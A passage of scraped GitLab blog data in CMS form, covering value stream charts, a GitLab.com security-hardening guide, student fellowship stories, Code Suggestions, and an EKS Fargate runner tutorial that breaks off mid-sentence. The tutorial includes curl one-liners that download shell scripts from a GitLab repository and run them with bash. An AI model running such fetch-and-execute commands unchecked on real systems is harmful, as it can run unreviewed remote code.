investigations. You can also go up to the Value Streams Dashboard, or investigate the [DORA metrics](/solutions/value-stream-management/dora/) that are also available in the new dashboard.\n\nIt's important to note that the chart data is limited to items completed within the selected date range. Also, there could be points in time with no [\"stage event\"](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#value-stream-stage-events) actions. In these cases, the chart will display a dashed line to represent the missing data. These gaps can add contextual information about the workstream, and usually do not represent interruptions in the data. When there is \"no data\" for a specific stage, the stage line will be flat.\n\nTo learn more check out the [Value Stream Analytics documentation](https://docs.gitlab.com/ee/user/group/value_stream_analytics/).\n\nWith the Value Stream Analytics Total Time Chart, you get immediate insights about the time spent in each stage over time to determine if progress is being made. Try it out today and see the difference it can make in your workstream!\n",[1899,4103,754,1268,1444],{"slug":10000,"featured":6,"template":678},"value-stream-total-time-chart","content:en-us:blog:value-stream-total-time-chart.yml","Value Stream Total Time Chart","en-us/blog/value-stream-total-time-chart.yml","en-us/blog/value-stream-total-time-chart",{"_path":10006,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10007,"content":10012,"config":10018,"_id":10020,"_type":16,"title":10021,"_source":17,"_file":10022,"_stem":10023,"_extension":20},"/en-us/blog/securing-your-code-on-gitlab",{"title":10008,"description":10009,"ogTitle":10008,"ogDescription":10009,"noIndex":6,"ogImage":8246,"ogUrl":10010,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10010,"schema":10011},"The ultimate guide to securing your code on GitLab.com","This in-depth tutorial, complete with best practices, will help you secure your development environment.","https://about.gitlab.com/blog/securing-your-code-on-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to securing your code on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Grossman\"}],\n        \"datePublished\": \"2023-05-31\",\n      }",{"title":10008,"description":10009,"authors":10013,"heroImage":8246,"date":10015,"body":10016,"category":674,"tags":10017},[10014],"Steve Grossman","2023-05-31","\n\nA critical aspect of a DevSecOps methodology is to apply best practices to secure your development environment. Your software should be protected from malicious and accidental exposure or modification. This blog explains how to control and manage access to GitLab.com and, in turn, source code, build pipelines, dependency and package repositories, and deployment keys involved in the [software supply chain](/blog/the-ultimate-guide-to-software-supply-chain-security/). The best practices specifically address the capabilities for end users on multi-tenant GitLab.com and are written for the Ultimate license tier. Not all of these capabilities are available at the Premium tier.\n\n## 1. Group settings\nMany security-related settings can be set on the top-level group and will cascade down into all subgroups and projects. They are the easiest and most important in securing your GitLab.com instance.\n\n### General settings\nIn the top-level group, the following settings should be applied to provide the best security for the code within that group:\n\n#### Make the group visibility level private\nThis is likely the most important setting among general settings. By marking the group “private\", anyone who is not explicitly a member of the group will not be able to access it. Additionally, by making the top-level group private, all subgroups and projects will also be private and cannot be exposed.  \n\n#### Permissions and group features\nUnder permissions:\n - Set “Prevent members from sending invitations to outside groups”. This will prevent accidentally adding people who should not belong to the group.\n - Set “Prevent sharing a project with other groups”. This prevents accidental or malicious exfiltration of code by sharing or moving a project to another group outside the control of the top-level group owner.\n - Allow project and group access token creation. Project and group access tokens are much like [personal access tokens](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html) with the following improvements:\n    - They are visible to and manageable by group owners and maintainers, which means they can be revoked and have expiration dates set by an administrator to limit the opportunity for abuse.\n    - They create a virtual “bot” user that does not count against your license count.\n - Enable [delayed project deletion](/blog/delayed-deletion/). This will give you a seven-day grace period to catch and prevent accidental or malicious removal of a repo. GitLab.com, like self-managed GitLab, does not have the ability to restore an individual project without significant expense for professional services.\n - Allowlist the Classless Inter-Domain Routing (CIDR) or supernetting from which users should be accessing the code.\n - Restrict membership to only those email domains belonging to your organization and contractors.\n - Restrict creation of subgroups to Owners. This will help keep the structure of the top-level group within your policies and make [SAML Group Sync](https://docs.gitlab.com/ee/user/group/saml_sso/group_sync.html) for membership easier to manage.\n - Block forking projects outside of this group hierarchy. This will help prevent code exfiltration.\n - Require [two-factor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html). This disables the ability to use password authentication with Git over HTTPS.\n - Disallow adding new members to projects within this group. All members must be inherited from the group.  \n\n#### Merge request approvals\n[Merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) help prevent injection of malicious code into the repository by having people other than the author review them. Enable merge request approvals for all projects in your group to:  \n - Prevent approval by authors.\n - Prevent approvals by users who add commits.\n - Prevent editing approval rules in projects and on individual merge requests.  \n\n### SAML SSO\nTo more tightly control who can access your code in GitLab.com, set up [SAML SSO](https://docs.gitlab.com/ee/user/group/saml_sso/). This will ensure that everyone who accesses it is approved by someone in authority.\n\n#### To configure SAML SSO:  \n - Enable SAML authentication for this group.\n - Enforce SSO-only authentication for web activity for this group.\n - Enforce SSO-only authentication for Git and Dependency Proxy activity for this group.\n - Set the Default membership role to Minimal Access. Roles can be increased as needed in subgroups or individual projects, minimal access prevents any visibility to projects or subgroups where the user is not explicitly granted another role.\n - Tightly control access to the Maintainer and Owner roles; every developer does not need to have a Maintainer role.\n\n## 2. Group auditing and compliance\nRegularly and periodically review the [compliance reports](https://docs.gitlab.com/ee/user/compliance/compliance_report/) to verify who is approving merge requests and what MRs are getting approved.\n\nSet up streaming group audit events to your corporate security information and event management (SIEM) system and monitor them for unusual activity. This needs to be repeated for each group and project in the hierarchy to get the maximum number of audit events.\n\n## 3. Group-level push rules\n Setting restrictive push rules at the group level will help ensure malicious code is not injected into the repository:\n - Require committers be verified.\n - Reject unsigned commits.\n - Ensure the commit author is a GitLab user.\n - Prevent pushing secret files.\n - Require commit author’s email to be from your email domain.  \n\n## CI/CD  \nThe following settings can help insure the integrity of [CI/CD](/topics/ci-cd/) pipelines and reduce the opportunities for abuse and malice:\n - Register runners at the lowest practical level to reduce the blast radius of any malicious use.\n - Require tags to use all runners to reduce the opportunity for abuse.\n - Define CI/CD variables – especially if they contain secrets – at the lowest practical level to reduce the blast radius of any malicious use.\n - Use protected runners with protected variables and protected branches to significantly limit who can deploy into production environments or misuse cloud resources.\n - Access to change the .gitlab-ci.yml pipeline definition file should be tightly controlled in all repos through the CODEOWNERS file to prevent malicious use of the CI/CD system.\n\n## 4. Project settings  \nSome settings do not cascade down from the group or are not available at the group level and must be set on individual projects instead. These include some repo-specific settings.\n\n### Repository\nSet up protected branches and protected tags to go along with the protected runners and protected variables defined above.\n\n### CI/CD  \n#### General \n - Disable public pipelines.\n - Use separate caches for protected branches.  \n\n### Protected environments\nUse protected environments and tightly limit who can deploy and require approvals for deploying.\n\n#### Token access\nRestrict access to this project’s CI_JOB_TOKEN to only individual projects to ensure malicious projects to not retrieve the token and use it to access the API.\n\n#### Secure files\nStore keystores, provisioning profiles and signing certificates in the Secure Files storage rather than the repository.  \n\n## 5. Project-level security testing and compliance\n### Configuration\n#### Security testing\n - Enable static application security testing [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) to help prevent insertion of malicious code into the application.\n - Enable dependency scanning and regularly review the dependency list or software, or software bill of materials ([SBOM](/blog/the-ultimate-guide-to-sboms/)], generated by dependency scanning for vulnerabilities and malicious components.\n - Enable [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) and cluster image scanning.  \n\n#### Policies\nAs an alternative to the security testing section above, you may choose to enable scan execution policies.\nEnable [test scan result policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) to prevent merging code with critical vulnerabilities.\n\n\nFollowing these best practices will help ensure that your code hosted on GitLab.com is safe from tampering and \n[public exposure](https://www.engadget.com/okta-stolen-source-code-205601214.html) and that your \nsoftware supply chain is secure and only authorized users \nare accessing your software assets.\n\n## More resources\n- [Group level settings documentation](https://docs.gitlab.com/ee/user/group/)\n- [Project level settings documentation](https://docs.gitlab.com/ee/user/project/settings/)\n",[696,479],{"slug":10019,"featured":6,"template":678},"securing-your-code-on-gitlab","content:en-us:blog:securing-your-code-on-gitlab.yml","Securing Your Code On Gitlab","en-us/blog/securing-your-code-on-gitlab.yml","en-us/blog/securing-your-code-on-gitlab",{"_path":10025,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10026,"content":10032,"config":10038,"_id":10040,"_type":16,"title":10041,"_source":17,"_file":10042,"_stem":10043,"_extension":20},"/en-us/blog/major-league-gitlab-hacking",{"title":10027,"description":10028,"ogTitle":10027,"ogDescription":10028,"noIndex":6,"ogImage":10029,"ogUrl":10030,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10030,"schema":10031},"Major League Hacking: Students contribute to feature updates","Our latest program participants explain their projects, their results, and the lessons they learned.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663736/Blog/Hero%20Images/a-deep-dive-into-the-security-analyst-persona.jpg","https://about.gitlab.com/blog/major-league-gitlab-hacking","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Major League Hacking: Student fellows contribute to platform feature updates\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bryan Behrenshausen\"}],\n        \"datePublished\": \"2023-05-30\",\n      }",{"title":10033,"description":10028,"authors":10034,"heroImage":10029,"date":10035,"body":10036,"category":813,"tags":10037},"Major League Hacking: Student fellows contribute to platform feature updates",[8083],"2023-05-30","\n\nContributing to [open source](https://go.gitlab.com/spHNym) projects [like GitLab](https://gitlab.com/gitlab-org) can be a powerful way to learn software development. Just ask [Mughees Pervaiz](https://gitlab.com/Mughees_), who is studying computer science at the University of South Asia, and [Young Jun Joo](https://gitlab.com/youngjun827), who is studying mathematics and economics at the University of Waterloo in Canada. They recently contributed to GitLab as part of a fellowship with [Major League Hacking](https://mlh.io/about), a Certified B corporation working to empower tomorrow's technology leaders. The fellows' [12-week program recently concluded](https://fellowship.mlh.io/), but before it was over, we gave them one final assignment: Explain your favorite contribution to GitLab during your fellowship.\n\nHere's what they had to say.\n\n## Mughees Pervaiz\nDuring my internship, I was a part of the GitLab Foundation team under the mentorship of our maintainer, [James Rushford](https://gitlab.com/jrushford). My primary responsibility was to improve both the developer and user experience on GitLab. \n\nMy favorite contribution was helping to update expand/collapse buttons in roadmaps [from link buttons to tertiary buttons](https://gitlab.com/gitlab-org/gitlab/-/issues/396775). Before the changes, the feature was using old components, and I updated it to new GitLab UI components. We had to [migrate the expand/collapse buttons](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/117242) that appear in the roadmap tree drawer. So we were working with the tree view (or, you could say, the 'child components' of the roadmap) and, because of this, it was very difficult for me to find the right file from GitLab's very large codebase.\n\nMaking this contribution taught me a lot about working with the GitLab codebase — specifically about making changes to the front-end user interface. I had to work with different GitLab components, such as the epic item details (vue component), epic item details (js component), and the front-end JavaScript libraries such as [Jest](https://jestjs.io/), in order to test or implement this feature.\n\nThis contribution also helped me develop my collaboration and communication skills. I had to work closely with other members of the GitLab community, including designers, product managers, and other contributors, in order to refine the feature and ensure that it aligned with GitLab's design principles and user experience goals.\n\nI also learned not to jump into coding without understanding an issue completely. Here, James helped me quite a bit: When I asked for his guidance, he responded with the following questions:\n\n- What is your understanding of the problem?\n- What did you try so far?\n- What did you find so far?\n- What are your next ideas?\n- Where did you look for information?\n\nAt first, I was confused. *Why is he asking me these questions instead of helping me?* But following James' technique really helped me with the issue, and I solved the problem by myself. At that moment, one of the most important lessons was clear to me: Don't underestimate myself. James wanted me to go beyond my limits, get out of the box, and try to solve the issue by myself so I could have a better understanding of what was happening in the codebase. So to anyone wishing to contribute to GitLab, I would say: Believe in yourself and give your best, and make sure you read the issue closely to develop a good understanding of the problem you're trying to solve.\n\n## Young Jun Joo\nDuring my Major League Hacking fellowship with GitLab, I worked on [improving the GitLab search function](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/111741). Some GitLab users were experiencing a slow search experience — and as a user myself, I understood the importance of having a quick and efficient search function. I wanted to help make that a reality for other users.\n\nSo I [implemented a memoization algorithm](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/112606) that caches search results. Now, if a user searches for the same word multiple times, the search results will be retrieved from the cache instead of being recalculated each time. This results in a faster and more efficient search experience for GitLab users.\n\nMy contribution to GitLab was significant because it improved the search function's performance and efficiency, making it more reliable and user-friendly. Working on this project taught me a lot about optimization and efficiency in software development. I also gained a deeper understanding of how memoization algorithms work and how they can be used to improve performance.\n\nMy work on this project not only was extremely rewarding but also had a positive impact on GitLab and its users, who can now quickly and easily search for the information they need without experiencing lag or delays. I'm proud to have made a meaningful contribution to such a valuable tool for software development, and grateful for the opportunity to have worked with such a talented team of developers.\n\n## Your turn\nWant to improve your open source development skill by contributing to GitLab? You can start right now by reviewing the project's [list of outstanding issues](https://gitlab.com/groups/gitlab-org/-/issues/?sort=created_date&state=opened&label_name%5B%5D=quick%20win&first_page_size=100) (hint: start with issues labeled `quick win`). And be sure to connect with our [community on Discord](https://discord.gg/gitlab). We'd love to meet you.\n",[815,267,754],{"slug":10039,"featured":6,"template":678},"major-league-gitlab-hacking","content:en-us:blog:major-league-gitlab-hacking.yml","Major League Gitlab Hacking","en-us/blog/major-league-gitlab-hacking.yml","en-us/blog/major-league-gitlab-hacking",{"_path":10045,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10046,"content":10051,"config":10057,"_id":10059,"_type":16,"title":10060,"_source":17,"_file":10061,"_stem":10062,"_extension":20},"/en-us/blog/code-suggestions-improves-developer-productivity",{"title":10047,"description":10048,"ogTitle":10047,"ogDescription":10048,"noIndex":6,"ogImage":8601,"ogUrl":10049,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10049,"schema":10050},"How Code Suggestions can supercharge developers' daily productivity","Learn how you can use GitLab Code Suggestions to accelerate your development.","https://about.gitlab.com/blog/code-suggestions-improves-developer-productivity","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Code Suggestions can supercharge developers' daily productivity\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Neha Khalwadekar\"}],\n        \"datePublished\": \"2023-05-25\",\n      }",{"title":10047,"description":10048,"authors":10052,"heroImage":8601,"date":10054,"body":10055,"category":791,"tags":10056},[10053],"Neha Khalwadekar","2023-05-25","\n\n\u003Ci>This blog is the latest post in an ongoing series about GitLab’s journey to \u003Ca href=\"/blog/ai-ml-in-devsecops-series/\">build and integrate AI/ML into our DevSecOps platform\u003C/a>. The first blog post can be found \u003Ca href=\"/blog/what-the-ml-ai/\">here\u003C/a>. Throughout the series, we’ll feature blogs from our product, engineering, and UX teams to showcase how we’re infusing AI/ML into GitLab.\u003C/i>\n\nIn the fast-paced world of software development, time is a precious resource. Developers constantly strive for ways to improve the productivity and efficiency of their workflows. Enter Code Suggestions, a large language model (LLM)-based technology that can transform the everyday developer experience. Let’s delve into the novel use cases of Code Suggestions, including: \n\n* simplifying operations\n* assisting new developers in language explorations\n* eliminating the need for frequent web searches by experienced developers\n\nAll of these are examples of how Code Suggestions can accelerate the daily developer experience. Let’s explore some specific examples of these use cases.\n\n## Import packages\nWith Code Suggestions, developers can quickly complete mundane tasks like importing Python packages. \n![Example](https://about.gitlab.com/images/blogimages/2023-05-25-Blog-code-suggestions-improves-developer-productivity/python_packages.gif)\n\n\n## Complete functions\nCode Suggestions can help developers complete functions and use those functions to write code. In the example below, we are defining the first and last name and then defining a full name. Now we can take this a step forward and use those defined functions in a user form. \n![Example](https://about.gitlab.com/images/blogimages/2023-05-25-Blog-code-suggestions-improves-developer-productivity/sample_functions.gif)\n\n\n## Fill in boilerplate\nDevelopers can use Code Suggestions to recommend boilerplate code such as connecting to a mySQL database.\n![Example](https://about.gitlab.com/images/blogimages/2023-05-25-Blog-code-suggestions-improves-developer-productivity/mysql-boiler.gif)\n\n\n## Building data frames\nData manipulation is a fundamental task for developers working with structured data. Code Suggestions can simplify the process of offering intelligent recommendations for DataFrame operations. Code Suggestions can assist in saving developers the time and effort of searching through documentation or experimenting with trial and error.\n![Example](https://about.gitlab.com/images/blogimages/2023-05-25-Blog-code-suggestions-improves-developer-productivity/dataframe.gif)\n\n\n## Generate unit tests\nWith Code Suggestions, developers can quickly write unit tests for the supported programming languages.\n![Example](https://about.gitlab.com/images/blogimages/2023-05-25-Blog-code-suggestions-improves-developer-productivity/unit-test.gif)\n\n\n## Try Code Suggestions today\nCode Suggestions is now available for free on GitLab.com for all users while the feature is in Beta. Teams can boost efficiency with the help of generative AI that suggests code while they're developing. We are improving the underlying AI model weekly to improve the [quality of suggestions](https://gitlab.com/groups/gitlab-org/-/epics/10562). Please remember that AI is non-deterministic, so you may not get the same suggestion from week to week. Also remember that any time you are using AI-generated code you should be automatically analyzing it with [code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html) and [security scanning](https://docs.gitlab.com/ee/user/application_security/), both of which are available natively in the GitLab platform. \n\nWe’ve extended [language support](https://gitlab.com/groups/gitlab-org/-/epics/10561) from our initial six languages to now include 13 languages: C/C++, C#, Go, Java, JavaScript, Python, PHP, Ruby, Rust, Scala, Kotlin, and TypeScript.\n\nRead more about these [improvements and what’s next.](https://about.gitlab.com/blog/code-suggestions-for-all-during-beta/)\n\nInterested in using these AI-powered features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our \"[AI/ML in DevSecOps](https://about.gitlab.com/blog/ai-ml-in-devsecops-series/)\" series.\n\n_Disclaimer: This blog contains information about upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[943,695,754,790],{"slug":10058,"featured":6,"template":678},"code-suggestions-improves-developer-productivity","content:en-us:blog:code-suggestions-improves-developer-productivity.yml","Code Suggestions Improves Developer Productivity","en-us/blog/code-suggestions-improves-developer-productivity.yml","en-us/blog/code-suggestions-improves-developer-productivity",{"_path":10064,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10065,"content":10071,"config":10077,"_id":10079,"_type":16,"title":10080,"_source":17,"_file":10081,"_stem":10082,"_extension":20},"/en-us/blog/eks-fargate-runner",{"title":10066,"description":10067,"ogTitle":10066,"ogDescription":10067,"noIndex":6,"ogImage":10068,"ogUrl":10069,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10069,"schema":10070},"Setting up GitLab EKS Fargate Runners in just one hour","This detailed tutorial answers the question of how to leverage Amazon's AWS Fargate container technology for GitLab Runners.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663373/Blog/Hero%20Images/jeremy-lapak-CVvFVQ_-oUg-700unsplash.jpg","https://about.gitlab.com/blog/eks-fargate-runner","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get started with GitLab EKS Fargate Runners in 1 hour and zero code, Iteration 1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2023-05-24\",\n      }",{"title":10072,"description":10067,"authors":10073,"heroImage":10068,"date":10074,"body":10075,"category":734,"tags":10076},"Get started with GitLab EKS Fargate Runners in 1 hour and zero code, Iteration 1",[1244],"2023-05-24","\nLeveraging Amazon's AWS Fargate container technology for [GitLab Runners](https://docs.gitlab.com/runner/) has been a longstanding ask from our customers. This tutorial gets you up and running with the GitLab EKS Fargate Runner combo in less than an hour.\n\nGitLab has a pattern for this task for [Fargate](https://docs.aws.amazon.com/AmazonECS/latest/userguide/what-is-fargate.html) runners under AWS Elastic Container Service (ECS). The primary challenge with this solution is that AWS ECS itself does not allow for the overriding of what image is used when calling an ECS task. Therefore, each GitLab Runner manager ignores the gitlab-ci.yml `image:` tag and runs on the image preconfigured in the task during deployment of the runner manager. As a result, you'll end up creating runner container images that contain every dependency for all the software built by the runner, or you'll create a lot of runner managers per image — or both.\n\nI have long wondered if Fargate-backed Elastic Kubernetes Service (EKS) could get around this limitation since, by nature, Kubernetes must be able to run any image given to it.\n\n## The approach\n\nNothing takes the joy out of learning faster than a lot of complex setup before being able to get to the point of the exercise. To address this, this tutorial uses four things to dramatically reduce the time and steps required to get from zero to hero.\n\n1. AWS CloudShell to minimize the EKS Admin Tooling setup. This also leaves your local machine environment untouched so that other tooling configurations don't get modified.\n2. A project called **AWS CloudShell ”Run From Web” Configuration Scripts** to rapidly add additional tooling to CloudShell. This includes some hacks to get large Terraform templates to work on AWS CloudShell.\n3. EKS Blueprints — specifically, a Terraform example that implements both the [Karpenter autoscaler](https://aws.amazon.com/blogs/aws/introducing-karpenter-an-open-source-high-performance-kubernetes-cluster-autoscaler/) and Fargate, including for the kube-system namespace.\n4. A simple Helm install for GitLab Runner.\n\nAlthough you will be running CLI commands and editing config files, no coding is required in the sense that you won't have to build something complex from scratch and then maintain it yourself.\n\n## The results\n\nIt works! It can run 2 x 200 (max allowed per job) parallel “Hello, World” jobs on AWS Fargate-backed EKS in about 4 minutes, which demonstrates the unlimited scalability. It can also run a simple Auto DevOps pipeline, which proves out the ability to run a bunch of different containers.\n\nThe fact that the entire cluster - including kube-system - is Fargate backed reduces the Kubernetes specific long term SRE work to a much lower value approaching that of ECS Fargate clusters. Later on we discuss that this trade-off has a cost and how it can be reconfigured.\n\n## What makes it possible: Product-managed IaC that is an extensible framework\n\nToolkitting made up of Infrastructure as Code (IaC) is frequently referred to as “templates,” and these templates have a reputation of not aging well because there is no active stewardship of the codebase — they are thought of as a one-and-done effort. However, this term does not reflect reality well when the underlying IaC code is actually being product-managed. You can tell if something is being product-managed by using these markers:\n\n- It has a scope-bounded vision of what it wants to do for the community being served (customer).\n- It has active stewardship that keeps the codebase moving along, even if it is open source.\n- It seeks to incorporate strategic enhancements, a.k.a. new features.\n- Things that are broken are considered bugs and are actively eliminated.\n- There is a cadence of taking underlying version updates and for supporting new versions of the primary things they deploy.\n\nAs an extensible framework, EKS Blueprints:\n\n- Are purposefully architected to be extended by anyone.\n- Already have many extensions built.\n\nWhen implementing using EKS Blueprints and you come upon a new need, it is important to check if EKS Blueprints already handles that consideration - similarly to how you would look for Ruby Gems, NPM Modules or Python PyPI packages before building functionality from scratch.\n\nAll of the above are aspects of how the AWS EKS team is product-managing EKS Blueprints. They deserve a big round of applause because product-managing anything to prevent it from becoming yet another community-maintained shelfware project is a strong commitment that requires tenacity!\n\n## Reproducing the experiment\n\n### 1. Set up AWS CloudShell\n\n> **Note:** If you already have a fully persistent environment setup (like your laptop) with: AWS CLI, kubectl, Terraform, then you can avoid environment rebuilds when AWS CloudShell times out by using that instead.\n\nAWS CloudShell comes with kubectl, Git, and AWS CLI, which are all needed. However, we also need a few other scripts. More information about these scripts can be read in [my blog post on AWS CloudShell “Run For Web” Configuration Scripts](https://missionimpossiblecode.io/aws-cloudshell-run-from-web-configuration-scripts).\n\n> **Note:** The steps in this section up through the `git clone` from GitLab step (second clone operation) in the next section can be accomplished by running this: `s=prep-eksblueprint-karpenter.sh ; curl -sSL https://gitlab.com/guided-explorations/aws/aws-cloudshell-configs/-/raw/main/${s} -o /tmp/${s}; chmod +x /tmp/${s}; bash /tmp/${s}*` .\n\n1. Use the web console to login to an AWS account where you have admin permissions.\n2. Switch to the region of your choosing.\n3. In the bottom left of the console click the “CloudShell” icon.\n4. Copy and paste the following one-liner into the console to install Helm, Terraform, and the Nano text editor:\n   `curl -sSL https://gitlab.com/guided-explorations/aws/aws-cloudshell-configs/-/raw/main/add-all.sh -o $HOME/add-all.sh; chmod +x $HOME/add-all.sh; bash $HOME/add-all.sh`\n5. Since our Terraform template will grow larger than the 1GB limit of space in the $HOME directory, we need a workaround to use the template in one directory, but store the Terraform state in $HOME where it will be kept as long as 120 days. The following one-liner triggers a script that performs that setup for us, after which we can use the /terraform directory for our template:\n   `curl -sSL https://gitlab.com/guided-explorations/aws/aws-cloudshell-configs/-/raw/main/prep-for-terraform.sh -o $HOME/prep-for-terraform.sh; chmod +x $HOME/prep-for-terraform.sh; bash $HOME/prep-for-terraform.sh`\n\n### 2. Run Terraform EKS Blueprint\n\n> **Note:** If at any time you leave your AWS CloudShell long enough for your session to end, the /terraform directory will be tossed. Simply run the last script above and the first four steps below to make it operable again. This will most likely be necessary when it comes time to teardown the Terraform created AWS resources.\n>\n> Sometimes your AWS CloudShell credentials may expire with a message like: `Error: Kubernetes cluster unreachable: Get \">CLUSTER URL>\": getting credentials: exec: executable aws failed with exit code 255`. Simply refresh the entire browser tab where AWS CloudShell is running and you’ll generally have new credentials.\n\n#### Version safety\n\nThis tutorial uses a specific release of the EKS Blueprint project so that you have the known state at the time of publishing. The project version also cascades into the versions of all the many dependent modules. While it may also work with the latest version, the version at the time of writing was Version 4.29.0.\n\nThis tutorial also uses Terraform binary Version 1.4.5.\n\n#### Procedures\n\nIf, while using AWS CloudShell, you experience this error: `Error: configuring Terraform AWS Provider: no valid credential sources for Terraform AWS Provider found`, you will need to refresh your browser to update the cached credentials in the terminal session.\n\nPerform the following commands on the AWS CloudShell session:\n\n1. `git clone https://github.com/aws-ia/terraform-aws-eks-blueprints.git --no-checkout /terraform/terraform-aws-eks-blueprints` \n2. `cd /terraform/terraform-aws-eks-blueprints/`\n3. `git reset --hard tags/v4.29.0` #Version pegging to the code that this article was authored with.\n4. `git clone https://gitlab.com/guided-explorations/aws/eks-runner-configs/gitlab-runner-eks-fargate.git /terraform/terraform-aws-eks-blueprints/examples/glrunner`\n\n   **Note:** Like other EKS Blueprints examples, the GitLab EKS Fargate Runner example references EKS Blueprint modules with a relative directory reference. This is why we are cloning it into a subdirectory of the EKS Blueprints project.\n5. `cd /terraform/terraform-aws-eks-blueprints/examples/glrunner`\n6. `terraform init`\n\n   **Important**: If you are using AWS CloudShell and your session times out, the /terraform folder and the installed utilities will be gone. You would have to reproduce the above steps to get the Terraform template in a usable state again. This is most likely to happen when you go to use Terraform to delete the stack after playing with it for some days.\n\n   The next few instructions are from: **https://github.com/aws-ia/terraform-aws-eks-blueprints/blob/main/examples/karpenter/README.md#user-content-deploy**. Note the `-state` switch ensures our state is in persistent storage.\n7. `terraform apply -target module.vpc -state=$HOME/tfstate/runner.tfstate`\n8. `terraform apply -target module.eks -state=$HOME/tfstate/runner.tfstate`\n9. **Note:** If you receive “Error: The configmap ”aws-auth” does not exist”, re-run the same command - it will usually update successfully.\n10. `terraform apply -state=$HOME/tfstate/runner.tfstate`\n\nThe previous command will output a kubeconfig command that needs to be run to ensure subsequent kubectl commands work. Run that command. If you are in AWS CloudShell and did not copy the command, this command should work and map to the correct region:\n    `aws eks update-kubeconfig --region $AWS_DEFAULT_REGION --name \"glrunner\"`\n\nIf everything was done correctly, you will have an EKS cluster named `karpenter` in the CloudShell region web console like this:\n\n![codecountingcilog](https://about.gitlab.com/images/blogimages/eks-fargate-runner/eksclusterinconsole.png)  \n\nAnd the output of this console command `kubectl get pods -A` will look like this:\n\n![codecountingcilog](https://about.gitlab.com/images/blogimages/eks-fargate-runner/cliplaincluster.png)\n\nThe output of this console command `kubectl get nodes -A` will show the Fargate prefix:\n\n![codecountingcilog](https://about.gitlab.com/images/blogimages/eks-fargate-runner/clinodesarefargate.png)\n\n> **Note:** Notice that all the EKS extras (coredns, ebs-cni, and karpenter itself) are also running on Fargate. If you are willing to tolerate some regular Kubernetes nodes, you may be able to save cost by running always-on pods on regular Kubernetes hosts. Since this cluster runs Karpenter, you will not need to manually scale those hosts and EKS makes control plane and node updates easier.\n\n### 3. Install GitLab Runner\n\nThese and other commands are available in the GitLab documentation for [GitLab Runner Helm Chart](https://docs.gitlab.com/runner/install/kubernetes.html#additional-configuration).\n\n1. Create an empty GitLab project.\n2. Retrieve a GitLab Runner Token from the project. Keep in mind that using a project token is the easiest way to ensure your experiment runs only on the EKS Fargate Runner. Using a group token may cause your job to run on other runners already setup at your company. You can follow [“Obtain a token”](https://docs.gitlab.com/runner/register/#requirements) from the documentation if you need to.\n3. Perform the following commands back in the AWS CloudShell session.\n4. `nano runnerregistration.yaml`\n5. Paste the following:\n\n   ```yaml\n   gitlabUrl: https://_YOUR_GITLAB_URL_HERE_.com\n   runnerRegistrationToken: _YOUR_GITLAB_RUNNER_TOKEN_HERE_\n   concurrent: 200\n   rbac:\n     create: true\n   runners:\n     tags: eks-fargate\n     runUntagged: true\n     imagePullPolicy: if-not-present\n   envVars:\n     - name: KUBERNETES_POLL_TIMEOUT\n       value: 90  \n   ```\n\n   **Note:** Many more settings are discussed in the documentation for the [Kubernetes Executor](https://docs.gitlab.com/runner/executors/kubernetes.html). \n\n**Hard Lesson:** Using a setting for `concurrent` that is lower than our `parallel` setting in the GitLab job below results in all kinds of failures due to some job pods having to wait for an execution slot. Since it’s Fargate, there is no savings to keeping it lower and no negative impact to making it the complete parallel amount.\n\n6. Replace \\_YOUR_GITLAB_URL_HERE_ with your actual GitLab URL.\n7. Replace \\_YOUR_GITLAB_RUNNER_TOKEN_HERE_ with your actual runner token.\n8. Press CTRL-X to exit and press Y to the save prompt.\n9. `helm repo add gitlab https://charts.gitlab.io`\n10. `helm repo update gitlab`\n11. `helm install --namespace gitlab-runner --create-namespace runner1 -f runnerregistration.yaml gitlab/gitlab-runner`\n12. Wait for a few minutes and check the project’s list of runners for a new one with the tag `eks-fargate`\n\nIn AWS CloudShell the command `kubectl get pods -n gitlab-runner` should produce output similar to this:\n\n![codecountingcilog](https://about.gitlab.com/images/blogimages/eks-fargate-runner/runnerlist.png)\n\nAnd in the GitLab Runner list, it will look similar to this:\n\n![codecountingcilog](https://about.gitlab.com/images/blogimages/eks-fargate-runner/glrunnerlist.png)\n\n### 4. Run a test job\n\nThe simplest way to test GitLab Runner scaling is using the `parallel:` keyword to schedule multiple copies of a job. It can also be used to create a job matrix where not all jobs do the same thing.\n\nOne or more GitLab Runner Helm deployments can live in any namespace, so you have many to many mapping flexibility for how you think of runners and their Kubernetes context.\n\nIn the GitLab project where you 